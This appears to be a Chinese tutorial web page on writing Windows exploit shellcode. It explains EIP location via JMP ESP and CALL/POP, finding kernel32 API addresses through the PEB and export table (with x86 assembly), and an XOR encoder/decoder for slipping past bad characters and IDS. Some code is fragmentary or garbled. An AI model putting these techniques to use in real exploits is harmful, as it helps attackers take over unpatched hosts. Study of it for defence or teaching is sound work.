shellcode

简介: Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。 另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

 

Shellcode编写考虑因素

  Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:

  ⒈Shellcode的编写语言。 这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

  ⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

  ⒊Shellcode中使用的API地址定位。

  ⒋Shellcode编码问题。

  ⒌多态技术躲避IDS检测。

Shellcode编写技术

  ⒈Shellcode编写语言

  Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:

void Shellcode() {

  __asm

{

  nop

  nop

  nop

  nop

  nop

  nop

  nop

  nop

  }

  }

然后在main()中用函数指针操作和memcmp定位shellcode,用printf之类函数将shellcode打出来或保存即可。示例代码略。

纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

  ⒉Shellcode代码地址定位,获取程序EIP。

  为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么定位的:利用CALL/POP来实现。

  这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

  我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。

      而Shellcode在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

  ⒊Shellcode中的API地址定位。

  Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取,示例代码如下:

  

__asm   {   push ebp;   sub esp, 0x40;   mov ebp,esp;   push ebp;   mov eax, fs:0x30 ;PEB   mov eax, [eax + 0x0c] ;Ldr   mov esi, [eax + 0x1c] ;Flink   lodsd   mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址   mov eax, [edi+3Ch] ;eax = PE首部   mov edx,[edi+eax+78h]   add edx,edi ;edx = 输出表地址   mov ecx,[edx+18h] ;ecx = 输出函数的个数   mov ebx,[edx+20h]   add ebx,edi ;ebx =函数名地址,AddressOfName   search:   dec ecx   mov esi,[ebx+ecx*4]   add esi,edi ;依次找每个函数名称   ;GetProcAddress   mov eax,0x50746547   cmp [esi], eax; 'PteG'   jne search   mov eax,0x41636f72   cmp [esi+4],eax; 'Acor'   jne search   ;如果是GetProcA,表示找到了   mov ebx,[edx+24h]   add ebx,edi ;ebx = 索引号地址,AddressOf   mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值   mov ebx,[edx+1Ch]   add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction   mov eax,[ebx+ecx*4]   add eax,edi ;利用索引值,计算出GetProcAddress的地址   mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
 接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。

  ⒋Shellcode的编码问题。

  写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。

  因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:

  

for(i=0;i ch=sc_buff^Enc_key;   //对可能字符进行替换   if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')   {   buff='0';   ++k;   ch+=0x31;   }   //将编码Code放在DecryptSc后   buff[k]=ch;   ++k;   }   解码时代码 解码时代码,示例如下:   jmp next   getEncodeAddr:   pop edi   push edi   pop esi   xor ecx,ecx   Decrypt_lop:   loasb   cmp al,cl   jz shell   cmp al,0x30 //判断是否为特殊字符   jz specal_char_clean   store:   xor al,Enc_key   stosb   jmp Decrypt_lop   special_char_clean:   lodsb   sub al,0x31   jmp store   next:   call getEncodeAddr
目录
相关文章
|
Java API 网络架构
深入理解 Spring Boot 中的 @RestController 注解:概念与实践
【4月更文挑战第20天】在现代Web开发中,创建RESTful服务已成为常态。Spring Boot通过提供@RestController注解,极大简化了REST API的开发过程。本篇博客旨在详细介绍@RestController的概念、优势以及在Spring Boot项目中的具体应用方法。
975 8
|
消息中间件 编解码 Java
RocketMQ安装和使用
RocketMQ安装和使用
695 1
|
3月前
|
云安全 人工智能 安全
Ollama漏洞引发的“血案”—自建LLM的安全思考
「云安全技术观察」聚焦云计算时代安全技术前沿与实践,涵盖AI大模型风险、云原生安全体系建设及攻防对抗等内容,提供落地技术参考与前瞻性洞察。
427 0
|
负载均衡 前端开发 Java
Spring Cloud Feign(声明式服务调用)使用指南
Spring Cloud Feign(声明式服务调用)使用指南
4903 0
Spring Cloud Feign(声明式服务调用)使用指南
|
5月前
|
XML JSON Java
Java 反射:从原理到实战的全面解析与应用指南
本文深度解析Java反射机制,从原理到实战应用全覆盖。首先讲解反射的概念与核心原理,包括类加载过程和`Class`对象的作用;接着详细分析反射的核心API用法,如`Class`、`Constructor`、`Method`和`Field`的操作方法;最后通过动态代理和注解驱动配置解析等实战场景,帮助读者掌握反射技术的实际应用。内容翔实,适合希望深入理解Java反射机制的开发者。
549 13
|
5月前
|
SQL 人工智能 自然语言处理
别让你的大模型被忽悠了,聊聊prompt注入攻击
本文探讨了Prompt工程中的隐私与安全问题,重点分析了“奶奶漏洞”及更广泛的Prompt攻击现象,特别是Prompt注入的原理与防御手段。Prompt注入通过构造恶意输入突破模型限制,使LLM执行非预期操作。文章介绍了直接注入和间接注入类型,并提供了多种防御方案,如输入过滤、强化系统指令、接入第三方校验库及多模型协作防御。此外,还讨论了Prompt逆向工程及其正负影响,以及恶意MCP服务投毒的实际案例,如GitHub Copilot漏洞。最后提出了动态权限控制和持续安全监测等解决策略。
|
7月前
|
XML 安全 Apache
利用EXCEL进行XXE攻击
本文介绍了通过构造恶意 Excel 文件利用 XXE(XML 外部实体)漏洞的原理与实践。首先说明了文件如 Word、Excel 等以 ZIP 格式存储,包含多个 XML 文件的特点。当服务器未正确配置 XML 解析器时,可能导致文件泄露、远程代码执行或拒绝服务攻击等风险。接着详细描述了搭建测试环境的过程,包括使用 Apache POI 依赖读取 Excel 文件,修改 xlsx 文件中的 Content_Types.xml 添加外部实体引用,以及通过 DNSLog 验证漏洞存在。最后展示了如何利用外部 DTD 文件读取目标系统上的敏感文件,并将数据写入指定位置,完成攻击验证。
628 5
利用EXCEL进行XXE攻击
|
机器学习/深度学习 算法 计算机视觉
YOLOv8改进 | 注意力机制 | 用于增强小目标感受野的RFEM
💡💡💡本专栏所有程序均经过测试,可成功执行💡💡
|
Java Docker 微服务
SpringBoot微服务打包Docker镜像
SpringBoot微服务打包Docker镜像
710 11
|
JavaScript Java Spring
Spring Boot 接口返回文件流
Spring Boot 接口返回文件流
887 0